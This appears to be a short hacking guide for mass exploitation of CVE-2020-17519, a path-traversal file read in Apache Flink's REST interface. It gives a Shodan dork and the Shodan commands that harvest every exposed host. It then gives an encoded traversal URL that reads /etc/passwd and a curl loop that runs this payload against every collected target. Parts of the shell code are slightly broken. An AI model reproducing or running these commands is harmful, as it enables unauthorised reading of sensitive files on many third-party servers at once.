CVE-2020-17519

Mass exploitation of Apache Flink RESTful API Arbitrary File Read vulnerability [CVE-2020-17519]

Description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process.

Shodan Dork : 'Apache Flink'

Affected Version : 1.11.1 and 1.11.2 

Vulnerable URL :
https://host:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

By using below URL we can download the results. ( Shodan Premium API Key is needed )

shodan download --limit -1 apache 'Apache Flink'

We will seperate the IP from shodan results. For this we will use shodan parse command along with awk

shodan parse apache.json.gz --fields ip_str,port --separator " " | awk '{print $1":"$2}' | tee apache-ip.txt

We need url running on port 8081. so run cat apache-ip.txt | grep 8081 | tee apache.txt

cat apache-httpx.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" | grep -qs 'root:x' && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n"; done

Similary we can check other vulnerable urls